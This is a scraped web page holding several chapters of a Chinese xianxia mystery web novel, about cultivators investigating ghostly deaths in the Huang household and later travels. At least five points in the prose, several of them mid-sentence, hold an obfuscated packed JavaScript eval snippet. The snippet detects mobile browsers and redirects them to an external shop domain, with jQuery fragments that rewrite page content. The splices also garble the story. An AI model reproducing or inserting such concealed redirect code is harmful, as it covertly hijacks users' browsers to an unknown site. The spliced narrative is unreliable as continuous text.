“所以你也知道是吗?”桑若看向了一旁的诗禾,这是她在黄府唯一一个信得过的人了。 诗禾面色复杂地看着桑若,心中有些纠结。她当然知道一些事情,但并不是全部都清楚。黄允岸突然决定迎娶桑若这个陌生人进门,其中必定有什么缘由,而她自己也一直在试图找出他们之间的关联。 当她偶然间透过书房的窗户,看到黄允岸独自对着镜子自言自语时,她似乎明白了一些。 诗禾犹豫了一下,最终还是轻轻地点了点头,“我知道。” 桑若苦涩地笑了笑,“也是,你和她从小一起长大,感情深厚,自然希望她能够活过来。只是……”她顿了顿,眼神中透露出一丝无奈,“有些事情,终究是无法改变的。” 这一声“知道”仿佛成了压垮骆驼的最后一根稻草一般,让桑若心中那最后一丝希望也彻底破灭。她缓缓松开原本紧握着镜子的手指,那面镜子就这样毫无预兆地掉落在地上,镜片四散开来,散落在她的裙摆周围,每一片破碎的镜片都映照出她脸上的泪水和充满哀伤的笑容。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第32章 见月明 黄老爷死之前躺过的那张床是从柴房里搬来的床,那本就是打算砍来烧火的,桑若死之前也曾睡过那张床。 子时已过,今晚的黄府死了两人——福明和黄老爷。 “你怎么看?”秦在锦问正在发呆的江洵,一日死一人,可今日却死两人,是桑若的规矩改了,还是有人故意去打破了规矩? “不好说。”江洵揉了揉困得发涩的眼睛,他是真的困了。 宋书岚让小厮把两具尸体放在一起,以便仔细观察比较二者的死因是否有所不同。然而,经过反复查看,她也没看出个什么所以然来。 正当她考虑是否要请求秦在锦协助时,秦在锦不请自来了。 单从外表判断,其中一人更倾向于旧疾死亡,另一人则因失血过多而丧命。但问题在于,当这两人遭遇意外时,他们都在现场,并没有给桑若留下背后偷袭的机会,哪怕这二人当时是在他们几人视线的盲区。 如果要说到相同之处,那么这两个人曾经都出现过幻觉。其中一个人拼了命的往池塘处去,另一个则不停地伤害自己。而在场的还有一位曾经经历过幻觉但是幸运存活下来的人——曾朋。 可这人现在已经昏睡过去,即使将他唤醒,也不一定能够询问到任何有用的信息。 幻觉…… 秦在锦转过头,望向黄府的那群人。究竟是谁策划了这样一件一石三鸟的事情呢? 他首先排除了黄允岸,尽管此人表面上道貌岸然,但实在不像是那种善于借刀杀人的人。接着,他又将目光投向了黄允恒。若是他所为,那么刚才所表演的那场痛哭流涕的戏码可真是堪称登峰造极啊! 迷幻药价格昂贵,绝非普通人能够购买得起的。在这座府邸之中,如果已经将那两位少爷排除在外了,那么敢于冒险尝试之人便更加寥寥无几……等等!位高权重者不可行,但他们身边亲近之人却未必不能。 于是乎,秦在锦的目光最终落在了黄允恒的正室以及那几位小妾身上。此时此刻,他对那位名叫言言的女子产生了深深的怀疑。 尽管心中有所疑虑,可他并没有确凿的证据来支持自己的猜测。况且,目前是否有人使用致幻药,又用的哪种药都尚未得到确认,想要追查此事更是无从下手。 秦在锦不禁叹息一声,深感无奈。他们初来乍到的第一个夜晚不仅未能捉到鬼,反而被人玩弄于股掌之间,实在是打击他做任务的积极性。 刚想问问江洵有何高见,但那人已经找好床躺下睡觉了,大哥!拜托你有点职业道德好吗?!睡觉这种事儿为什么不喊兄弟一起? “明早儿再说吧,凶手就在这又不会消失。”蒋曌困得眼皮都睁不开了,真是奇了怪了,之前做任务好几次熬大夜都没啥事儿的人,今儿到了黄府格外的困,他随便找了几个凳子拼在一起躺下了。 你们查你们的,我先睡为敬! 宋书岚看着他们没有继续追查下去的打算之后,便也不再多言。毕竟,她的职责仅仅是记录任务的进程而已,并不会直接参与到主要的案件调查当中。因此,所有的决策都应该以任务执行者的意愿为准。 于是乎,众人心领神会地开始寻找各自休憩的场所。与此同时,黄府的家眷们也陆续回到自己的闺房,准备歇息。整个府邸逐渐恢复了宁静,仿佛刚刚的紧张气氛从未存在过一般。 晚风轻轻吹过,拂过几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170780|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的面庞,他们都不约而同的梦到了一位姑娘。 少女身着一袭淡雅的鹅黄色衣裙,腰间的发丝随微风飘动,她静静地坐在池子边观赏含苞欲放的荷花,此时此刻美的像一幅水墨画。 而下一刻,她突然被人从背后推进池子里,她惊慌失措的用手在水中胡乱的挣扎着,像只笨拙的大鹅。可当她双脚踩在池底的淤泥上时发现这里的池子并不深,她靠着余力走到池边,却被岸上的人再次推入水中,甚至还些人在冲她扔泥巴。 她孤身一人站在那里,同那些即将绽放的荷花一起被困在了池中,困在了道听途说的污蔑里。 第二日一早,江洵睁开眼睛第一件事就是去看看那个池子,当然这次冬苓没有再拦着他,因为她自己早早就站在池子边儿了。 “你醒挺早啊。”江洵伸着懒腰主动同她打招呼,即便一开始他对冬苓有点疑虑,但念在人小姑娘帮了他两次的份儿上,他觉得眼前的人可信! 那么对江洵来说可信的人都可以当朋友!都可以两肋插刀! “你说这鱼能吃吗?”冬苓头也不回的说道,眼睛直勾勾的盯着池子里的鱼。 “死了就别吃了,想吃我带你去……欸????” 江洵话还没说完就发现本来已经全部翻肚子飘起来的死鱼如今却在池子里活了过来,还游的正欢。 冬苓笑着看向江洵,“那现在是活的就可以吃了吧?” “别了吧,怪邪乎儿的。” 万一吃出来什么毛病来,最后难受的还是自己,虽然他有秦在锦,但食物中毒这种事儿也不是立马就能解决的。 这章没有结束,请点击下一页继续阅读! 第33章 弥离花 “其实她未必只在子时之前动手杀人,或者说她未必日日都会杀人,就以昨晚的情形来看,借刀杀人才是这黄府的常态。”江洵说道。 “你的意思是之前那些命案并非都出自桑若之手?” “目前这也只是我的猜测。”江洵伸手掩住了鼻子,这屋子里的气味着实难闻。 秦在锦见状站起身走到窗前,将屋内的窗户打开让空气流通一下。然而,当他伸手去推窗户时,却惊讶地发现窗框处竟然有着明显被钉子钉过的痕迹!不仅如此,秦在锦还注意到窗台上有一个沾染着泥土的脚印,这个脚印并不醒目,但却孤零零地印在窗台上。 “我觉得你的猜测不无道理,只是这躲在背后借刀的人会是谁呢?” “要么此人与这三位死者都有仇,要么他就是无差别攻击黄府的人,若想印证前者我们就得知道这三位死者之间有没有什么必要的关联。”江洵跨窗跳了出去,果然,还是外面的空气新鲜! 一人站在腥臭阴冷的窗内,一人靠在舒适温暖的窗外,一窗之隔却又有着截然不同的光景。 秦在锦胳膊撑在窗台上顺着江洵的话继续思索道:“老爷、管家及小厮……这得找个人细问一下,你说诗禾会告诉我们么?” 江洵并没有回应他提出的这个疑问,而是话锋一转,问起了其他事情:“你刚才提到的那种花叫什么来着?它是一旦沾染就会立刻让人陷入幻觉之中吗?还是说需要经历一段时间才会生效呢?” 秦在锦稍稍愣神,随即便回过神来,详细地解答道:“弥离花,它的花蕊在被研磨成粉末之后具有强烈的迷幻效果。药效发作迅速而猛烈,只是不小心嗅到一点儿气息,就会令人感到全身无力,昏昏欲睡;若是直接服用,则会使人无法分辨真实世界和虚幻梦境,同时丧失对疼痛的感知能力。” “很难买到么?” “当然!”秦在锦肯定地点点头,接着说道,“要知道,一朵花的花蕊在经过晾晒再研磨变成粉末后,数量便会变得极为稀少。正因为如此,它的价格自然不菲,可以说是相当珍贵的物品。而且据我所知,目前只有辛夷那个地方有人专门种植弥离花。” 说完这些,秦在锦又深深吸了口气,重新回到曾朋的尸体旁边,打算再观察一下他身上的伤口。 “辛夷...”江洵靠在窗边的墙壁上喃喃自语。 “站这儿发什么呆呢?”冬苓走过来问向满脸愁容的江洵,而后伸头查看屋子里的状况,在看到曾朋的尸体以后瞬间后退几步,一脸的嫌弃,“他这是怎么回事儿????” “小不点,你方才可有打听到什么有用的信息?”江洵侧头问道。 “小不点????谁????我????”冬苓疑惑地指了指自己。 “对!你!”江洵伸手坚定地指向了她。 “哈?????”冬苓抬起拳头朝江洵胸口挥去,被江洵笑着躲开了。 好女不跟恶男斗!姐有的是报仇的机会! “我方才跟佳乐聊了几句,问了一些东院的事儿。” “啥事儿?”江洵一副洗耳恭听的模样。 “她说自从大夫人嫁入黄家之后,就一直备受冷落。黄允恒这个人非常花心,喜欢追求新鲜感,常常把青楼女子带回家中。然而令人奇怪的是,多年来,黄允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170781|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒本人不仅没有一儿半女,他的那些小妾们也都未能怀孕。大夫人嫁过来的第二年便提出与黄允恒离婚,但黄允恒对此并无异议,反倒是黄老爷子坚决反对,甚至在那段时间里,连大夫人出门买点胭脂之类的小事都会派人盯着,生怕她会私自逃走。” “这还不算完呢!”她接着说道:“就昨晚上那个言小娘还曾经因为争风吃醋而害死过一个婢女。只是那姑娘无权无势又无亲无故的,死了也就死了,还是曾朋把尸体拖出去埋掉的。” “曾朋???”听到这个名字,江洵不禁心生疑惑。 “对啊,佳乐说曾朋和黄允恒的关系更为亲密一些,经常到东院闲逛闲聊。毕竟黄允岸非常厌恶像曾朋这样阿谀奉承的人,因此曾朋便光明正大地帮助黄允恒处理各种事情。”冬苓在提到“狗腿子”这个词时,特意提高了声音,显然她对曾朋这种人也极为反感。 “那么福明呢?他和黄允恒的关系怎么样?”秦在锦在房间里发问。 “倒是没有听佳乐提起过他们俩的关系怎样,不过福明昨天下午曾经去过东院,但也没待多长时间就从书房出来了。” “孟涟对待佳乐好不好呢?”江洵想确认一下佳乐所说的这些情况是否可靠。 “据佳乐所言,孟涟平日里非常温柔和善,从不苛刻责备下人,我认为她俩的关系应该还不错吧。当然!在这些信息中,最为关键且有用的线索就是孟涟在闲暇之余喜欢制作香料!并且她的娘家就是经营香料铺子的。”说到这里,她得意地将目光投向了屋内的秦在锦,暗示他可以从这个方向展开调查。 这章没有结束,请点击下一页继续阅读! 第34章 豆腐心 “你师父是谁?”秦在锦紧继续追问着,他心中暗自思忖:据他所了解到的情况来看,相月山一直以来都秉持着仁义守礼的原则来教导门下弟子。正因如此,尽管相月山的弟子中善战之人并不多见,但该门派在江湖中的地位仍旧位居前列。这其中的缘由就在于他们外出时从不与他人产生纷争,甚至还因乐善好施而声名远扬。 可此时却出现了冬苓这样一个背离师门教诲的特例,真不知道平日里那些对徒弟严加管教的相月山长老们会作何感想。 冬苓自然晓得秦在锦这是在旁敲侧击她真正的来历,所以没有正面回复他,“一人做事一人当,我的行为可不代表我的师门!” 江洵没有参与到这两人的话题当中去,此刻的他正在思考着孟涟接下来会采取什么样的行动才能一击致命。毕竟已经有三个人死亡了,黄允恒肯定会变得格外谨慎小心。如果选择强攻,孟涟并不是黄允恒的对手;但要是想通过智取,恐怕黄允恒也不会轻易地给她留下破绽和机会。 算了算了……既然这个戏台子都已经搭建好了,那他就只需要安安稳稳地坐在那里看好戏就行了。至于最后的结果是好是坏,对他自己并无多大的影响。 与此同时的,远在塔邑做乙级任务的傅霖可就没悠哉了,温如玉的劝诫并没有错,以傅霖如今的实力做乙级任务着实有些吃力,光是思考如何破局就已经费尽了心思,更别提还要安全无虞的完成任务。 “我说你没事瞎逞什么能?知不知道什么叫韬光养晦?更何况温如玉还能害你不成?”南宫娴无语的看着身旁的小崽子。要不是欠温如玉一个人情,她才不过来救人,这水蛭精看着就让人作呕。 傅霖方才受了伤,而且伤在肩膀这个关键部位,鲜血不断地渗出,逐渐染红并浸湿了他的外衣。那钻心蚀骨般的疼痛和难以忍受的瘙痒感,仿佛千万只蚂蚁在噬咬着他的身体,让他根本无法集中精力去和南宫娴争论什么。 他赌气似的不说话,南宫娴看他现在这副样子也不好再多说什么,谁让她刀子嘴豆腐心呢。 “你是要自己上药还是我帮你上药?姐姐下手可是没个轻重的。”南宫娴掏出个小药瓶在他面前晃了晃。 “我自己来。”傅霖想也没想就拿走了药瓶,将身子背对了她。 “害羞什么?我对男人可没兴趣,尤其是你这样的小男生更没兴趣。”南宫娴笑了一声走出山洞,留傅霖自己在里面包扎。 她抽出佩剑站在那里,垂目看着深不见底的湖水,这个任务之所以被评为乙级是因为凡是路过之人都会不知所踪。这妖物从伤害湖上泛舟之人到伤害湖边取水之人,到最后蔓延到塔邑附近的村子及湖周边的河流。 这和镜湖的任务如出一辙,最初都是丙级任务,也都是过湖之人无缘无故失踪。不过镜湖的任务至今没人完成,派去的弟子也都无一生还,可镜湖的水怪并未伤及周边百姓,有些商人为了赶时间会冒险从镜湖上过,但大多数人最终都选择保命绕些远路。 因此即便镜湖危险但并不紧迫,而如今,塔邑的水蛭不仅只在当地肆虐,如果再不采取行动,将会有越来越多的无辜百姓遭受苦难。面对这种情况,中律司决定将塔邑的任务级别提升至乙级,奖励也更为丰厚。 每个任务的等级评定并非仅仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170782|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取决于其妖物的实力强弱,还要综合考虑它们对普通百姓产生的影响程度。假如一个人或者一只妖仅凭三寸不烂之舌便能蛊惑一方百姓听其使唤,那么即使他本身实力弱小不堪一击,但根据其造成的影响范围大小,依然可能被评定为丙级甚至更高的等级。 傍晚到了饭点的时候,孟涟吩咐屋里的众人先去吃饭,休息一会儿再来守灵。 如今的黄府,二少爷足不出户,大少爷又跟丢了魂一样,唯一的管家还离奇死亡,那这府中能说得上话的自然是大夫人,众人便也听她的都去了厨房。 言小娘是看不惯她这种高高在上的做派,即使是饿了一天的肚子也没离开,一直陪在黄允恒身侧。孟涟也懒得理会她,自己找死就怪不得她心狠无情了。 早在晌午,屋子里燃尽的蜡烛就都换上了新的蜡烛,而这些恰恰是孟涟提前备好的,其中掺杂着慢性毒药。短短几个时辰里虽不致命但也会使人浑身乏力、精神萎靡,所以她又将解药混进了粥里,但凡这个时辰去吃饭的都不会有事,可黄允恒一没有心情吃,二没有胆子吃。 他素来疑心重,恐怕对于昨晚三人的死因已有了大致的猜想,所以他此时不会轻举妄动,更不会吃孟涟送上来的东西。 第一个撑不住倒下的是言小娘,她体质弱又离蜡烛最近,自然会受不住,在她倒下的瞬间黄允恒抬头看向了孟涟。 “你做了什么?”黄允恒并没有关心身旁的人究竟如何,只是阴沉着脸质问孟涟。 “夫君,我什么都没有做啊。”她一副全然无辜的样子。 这章没有结束,请点击下一页继续阅读! 第35章 虚与实 当薄雾袭来,女子的笑声在院中回荡之时,众人便知道——桑若来了。 江洵站在秦在锦和冬苓中间,慢慢调动内力蕴灵,他知道桑若并非是位好说话的鬼,所以他不打算来一场苦口婆心地劝说后再对她出手,这着实是浪费时间。 “她若是攻过来时你便告知我一声,我会想办法托住她一会儿,届时你跟锦哥儿拿下她。”冬苓小声的对江洵说道。 江洵看了眼冬苓,还没问她怎么就知道他会知道桑若啥时候会攻过来呢,就听到冬苓又接了句:“我知道你在蕴灵。” 这下让江洵对冬苓更加好奇了,师父说过蕴灵并非修道之人皆会,也并非献岁阁独创,江湖之中知道蕴灵一术的人很多,但会蕴灵且能看出的人却寥寥无几,可冬苓一眼就看穿了,只能说要么她会要么她懂。 可眼下也没那么多时间来给他问其中的缘由,便低声回了句:“知道了。” 宋书岚和孟涟二人相对无言地坐着,身后传来下人们收拾房间的声音,前方则是准备捉鬼的江洵等人。如果不是因为桌子上缺少一些花生、瓜子之类的零食,他俩和看戏的观众没啥区别。 这五个人静静地站在那里,谁都没有轻易行动。他们处于明处,而敌人却隐藏在暗处,如果贸然出手,反而可能会吃亏。 在短暂的沉默之后,突然响起了“咚咚”的声音。江洵敏锐地察觉到东南方向的灵力出现了波动,他立刻将这个情况告诉了冬苓,但很快他就意识到不对劲。通常情况下,能够发出这种“咚咚”声音的应该是腿部有残疾的宋淇,而非桑若! 然而,一切都已经来不及了。冬苓已经出手了,她快速地念诀,将前方袭来的人定住了一瞬。这一瞬间虽然短暂,但对于他们来说却是至关重要的机会。 就在这时,秦在锦迅速反应过来,那些被提前撒下的种子瞬时破土而出,生长出无数根藤蔓,紧紧缠住了那人的身体,让对方无法动弹。 然而,当他们看清来人的面容时,冬苓不禁疑惑地问道:"怎么是你!" 宋琪被藤蔓缠住后并没有露出惊慌失措的表情,反而一脸平静地回答道:"怎么不能是我呢?"仿佛早就料到了这一刻的到来。 "那桑若去哪儿了!"冬苓焦急地追问着。 宋琪微微一笑,没有回答这个问题。正当冬苓准备继续质问的时候,唐时那边突然传来了一声沉闷的哼声。冬苓和江洵对视一眼,立刻明白发生了什么事情,急忙向唐时那边赶过去,留下秦在锦在这里看守宋琪。 “带你回中律司这件事儿,姑娘可愿意?”秦在锦站她面前问道。 宋琪低头笑了笑,“若大人们能放过桑若,我便没什么不愿意的。” 秦在锦想的没有错,宋琪如今不愿离去是不放心桑若,她深知桑若受过的伤害和委屈,也理解桑若的选择和做派,只是她不想看桑若越陷越深最后不得善终,所以她尽量的替她遮掩替她挽回。 “带她回中律司并非处刑问罪,那里会有大师日日为她诵经,助她化解怨念,让她能心无杂念的离去,你可愿帮我们劝说她?”秦在锦试探地问道。 宋琪听了这话,脸上露出一丝犹豫之色,秦在锦见状继续说道:“当然,我们不会为难她。只要她愿意跟我们走,我们会尽力帮助她。” “我不愿。无论桑若作何选择我都全盘接受, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在临近黄昏时,江洵找了家客栈,准备歇息。他本想要两间客房,但秦小公子以省钱为由,只要了一间房。 江洵无奈地耸耸肩,谁出钱谁做主。 秦在锦慵懒地躺在床榻上,微微闭着双眼,享受着此刻的宁静与安逸。周围的世界似乎变得格外安静,只有微风拂过树梢发出的沙沙声。 窗户微敞,时不时还能听到旁边大树下乘凉的百姓们正在谈论着生活中的琐事,以及远处孩童玩耍时传来的阵阵嬉笑声。 秦在锦翻了个身,眯着眼睛看向坐在桌子旁的江洵,那人提笔许久却又只字未写,“写啥呢?久久不落笔。” “家书。”江洵头也不抬的回道。 听到家书二字秦在锦突然想起来自己似乎还从未问过江洵的家世,平日里也没听他提起过家中的亲人。 “家书寄往何处?” “献岁山。” “咦,你家住献岁山啊?” “嗯。” “那你岂不是和我一样从小就被师父师兄逼着修炼了?!”秦在锦突然从床上坐起身,他终于找到了和他一样的命苦之人,真是相见恨晚啊!!! “不是。” “怎么?你们献岁山对弟子这么宽容的吗?” “我十四岁才上的山,之前一直在岭泉村。”江洵换了个握笔的姿势回。 “岭泉村....哦!我想起来了,岭泉村前两年不是…” “嗯,被屠了。” “全村移民了么……哈?咱俩说的是同一个地方么?” 两年前,岭泉村有个村民得了怪病,四处求医无果,最后来到阳春门求救。那时,秦方礼与秦念淑一个在外行医,一个外出做任务,其余弟子都不敢随便给这个病人用药。于是,他们让那个病人改日再来,或者留下住址,等他们商量出合适的治疗方案后再上门问诊。 可是后来因为各种事情繁多,那几个弟子竟然把这件事给忘了。等到再次想起时,时间已经过去好几个月了。 秦念淑知道此事后大发雷霆,狠狠地骂了那些弟子一顿。她赶紧带人去岭泉村看诊,但当她们到达村子时,却发现整个村子空无一人。询问过路人才得知原来岭泉村的村民们不久前就已经全部搬走了。 可如今江洵却说岭泉村村民都被屠杀了??这究竟是怎么一回事儿??? 他立马起身走到江洵面前坐下,严肃的问道:“你说的可是桐州的岭泉村?” “是。” “可我们打听到的消息是村子连年干旱,百姓苦不堪言,所以桐州州府决定将岭泉村的百姓迁移到别的乡镇居住,跟你方才所说的可是相差甚远。” 江洵看着秦在锦的眼睛,他在想是实话实说还是修改答案。他自是信得过秦在锦的为人,只是他明白暮商宗既然决定掩盖他们的所作所为那必然是不愿意别人知道事情的真相,尤其是秦在锦这种背靠大树的人。 “你不信我?”秦在锦有些失望的问道,怎么说他俩也是过命的交情了吧,还有什么是他不能听的? 这还是兄弟?! “不是不信你,是怕你得知了真相以后给你惹来一些不必要的麻烦。”江洵收起了笔,这信左右是写不下去了。 “哈???我是谁?!我可是秦在锦!!!阳春门少门主!我要是有个什么三长两短的,我姐姐定不会让那人好过!你且大胆的同我讲!”他冲江洵自信的拍了拍胸脯。 “暮商宗两年前以私藏白榆人为由将全村人都杀了。”江洵说这句话的时候盯着秦在锦的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170784|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,他想知道秦在锦听到这个答案时会是什么反应。 可对面的秦在锦只是沉默一阵后回道:“应该不是暮商宗。” “什么?” “一般来说,只要是涉及到白榆人的任务那都是由中律司统一安排和下达的,然后再分配给各个门派或者指定某个门派来执行。如果没有得到中律司的明确指示,其他门派是绝对不被允许私自处理这些事情的,更何况是屠村这种大任务,所以暮商宗并非主谋。” 江洵还没来得及回答的时候,秦在锦就一脸担忧地继续说道:“可若牵扯到中律司的话就有点难办了……中律司里我没有认识的人,你这仇着实不好报,而且又关系到白榆人,哪怕算上阳春门一起咱们也打不赢。” 嗯???? 你在说什么???? 饶是江洵这聪明的小脑袋瓜也没想明白秦在锦这番话是什么意思,什么报仇???给谁报仇??? 秦在锦发现江洵皱着眉头一言不发,还以为是被他说的焦虑了,于是他宽慰地拍了拍江洵的肩膀,“但你放心!君子报仇,十年不晚!虽然咱们现在人微言轻,年龄尚小。可有朝一日等咱们长大了,修为提升了,定要去中律司辩上一辩,让他们给你一个交代!” 江洵这下算是听明白了,原来秦在锦认为由于暮商宗的屠村行为,致使他的所有亲人都惨遭不幸,从而推断出他想要向暮商宗寻求报复,以报灭门之仇。然而,鉴于这个任务的特殊性质,实际上,屠村的真正幕后黑手竟然是中律司。而中律司不仅势力 庞大、家业丰厚,还有朝廷作为后盾,使得他目前根本无法实现复仇的愿望,甚至可以说是毫无可能。所以,他让江洵暂且忍耐,积蓄力量,等待合适的时机。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第37章 深塘坞 仝舟话落,身旁的几个黑衣人来势汹汹地走到江洵的桌前,只是江洵还未开口,坐在那喝茶的秦在锦拍了拍他的手臂率先站起了身。 “若是看仝公子一眼就得被抓去问话的话,那这世上岂不是人人都要自戳双目了?”秦在锦轻轻地将手中的杯盏放在桌上。 看吧!这就是兄弟!有事他真上! 江洵在心里默默给锦哥好评! “你又是哪来的野……”只是那仆人话还没说完,就被仝舟回头瞪了一眼。 “看一眼不打紧,可不怀好意的看就说不过去了,您说是吧秦公子。”仝舟提了杯酒,示意性的朝秦在锦敬了一下。 “哪里不怀好意?怎么看才算得上是不怀好意呢?要我说我朋友方才的眼神也只是无意间从你那掠过罢了。” “秦公子的意思是贾威说谎了?” “非也,什么样的心看什么样的人,可能他就是单纯的疑心重,看谁都觉得是不怀好意呢。”秦在锦依旧是一副笑脸,语气平缓的仿佛在闲谈一般。 仝舟当然听得出来秦在锦话中的意思,这不是明摆着在讽刺贾威嘛!但他心里清楚得很,现在他根基未稳,在这个节骨眼儿上绝对不能和阳春门闹僵。只有那些没脑子的蠢货才会去招惹阳春门,毕竟谁也说不准这辈子会不会有个生病受伤的时候,万一真到了那一天,说不定还得指望阳春门来救自己一命呢,所以眼下这个哑巴亏他是吃定了。 不过话说回来,仝舟对那个一直安安静静地坐在那里的少年倒是产生了几分好奇。这家伙到底是什么来头?居然能让秦在锦亲自站出来帮他说话,想必背景也不简单…… “倒是我的人鲁莽了,出门在外皆是兄弟,我敬小公子一杯。”他嘴角微扬,露出一抹似笑非笑的神情,缓缓站起身来,向着江洵举起酒杯,微微点头示意,算作是打过招呼了。然而,下一秒转身的他眼神阴沉又冷冷地瞪着贾威,轻声呢喃道:“还不快滚过去道歉?难不成要让本公子亲自替你道歉吗?” 贾威自是知道楼主目前心情十分不好,不禁涌起一股恐惧之情,他连忙颤抖着双腿,夹着脖子低着头上前道歉。 “和献岁阁的弟子也能做兄弟么?”江洵笑着开口道。 他悠然自得地坐在那里,一条腿随意地搭在另一条腿上,左手撑着脸颊,右手漫不经心地把玩着手中的水杯,眼神中流露出一种肆意妄为的神情,嘴角微微上扬,带着一丝若有若无的轻蔑之意。 “你说什么?”仝舟微眯了一下眼睛,一把拽住了走在前面的贾威。 “我说,我是献岁阁三阁弟子江洵,你还能同我做兄弟么?” 秦在锦听到江洵的话后气的直翻白眼,我把兄弟放心里,兄弟呢?兄弟把我踹沟里!!! 我辛辛苦苦为你遮掩,你倒好,自曝!哈哈哈!秦在锦都要气笑了。 不是江洵不领情,也不是他拎不清,只是他觉得这种事躲是躲不掉的。再者说,没做过的事就是没做过,你非要揪着不放那就是污蔑!他不允许任何人往他师父身上泼脏水,他不乐意。 他不屑于跟仝舟交好,因此也不介意同他挑明身份。 啊……当然,这样一样好像确实会有点对不起兄弟。 但兄弟是什么? 是两肋插刀! 仝舟在得知江洵的身份后,气的跟前儿的桌子都掀翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170785|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“都他妈愣着干什么!还不将那不知天高地厚的小子给我乱棍打死!” “你啊!”秦在锦无奈的叹了口气,他虽埋怨的看着江洵一眼,但又微微侧身将他护在身后。 就在那群黑衣人快要接近江洵时,一把飞速而来的长剑挡住了他们的去路。 "我说,打架麻烦出去打,莫要打扰他人的清静。"一个背着身子的男子冷冷地说。 此刻,愤怒的仝舟正准备命令手下一起痛扁这个碍事的家伙,但仅存的一丝理智让他认出了眼前的这把剑——行野。 而行野的主人正是温如玉的宝贝徒弟——傅霖,此人天赋异禀,小小年纪便已过了无数个的任务。不仅如此,他还曾在献岁山弟子大会中夺冠,成为当之无愧的少年第一人。对于这个人,他是再熟悉不过了,因为他深知傅霖的行事风格,从不轻易多管闲事,也不会多说半句废话。 尽管傅霖为人有些傲气,但不得不承认,他的实力确实远胜于同龄人,上一个在十八岁就过了戊级任务的人是今朝榜的榜首沈亦行。 如今一个不能撕破脸皮,一个又打不过,仝舟握紧了手中的拳头,今天吃的哑巴亏大的差点噎死他,这种吐不出又咽不下的感觉让他抓狂。 江洵自然是明白了仝舟不敢惹那人,方才没有仔细端详那把剑的模样,如今看来倒还是熟人了。 他一改冷漠笑的满脸稚嫩,“师兄?你来了怎么也不跟我说一声,是不是还生我气呢?哎呀!要不师伯给我的宝贝我分你一半,你可别生我气了。” 傅霖险些没被他这句师兄呛到,这小子净会在人前卖乖! 这章没有结束,请点击下一页继续阅读! 第38章 水苍苍 秦在锦听完这几句歌谣后整条胳膊上的汗毛都竖起来了,他最怕这些了。一众怨灵里他觉得婴童的恐怖程度远远大于成年人,而成年人里女人尤其是穿红衣服的女人次之,最后才是老者和男人。 虽然他刚刚身子坐直又目视着前方,可他的余光能看清楚趴在他腿上的孩子,那怨灵的肤色异常惨白,皮肤也因长时间泡水显得皱皱巴巴的,尤其是拽住他衣袖的那双手的指甲里全是淤泥,这孩子生前极有可能是活活溺死的。 “老伯刚刚可有听到什么奇怪的声音?”傅霖下船后整理了下衣服,问道转身就走的船夫。 那人听到傅霖的询问时刚弯下的身子明显停顿了片刻,但也只是一瞬。随后那老伯若无其事地回头与傅霖说:“不知公子所说的奇怪,是指什么样的奇怪?” “自然是小孩子的声音!”林惠婵开口道。 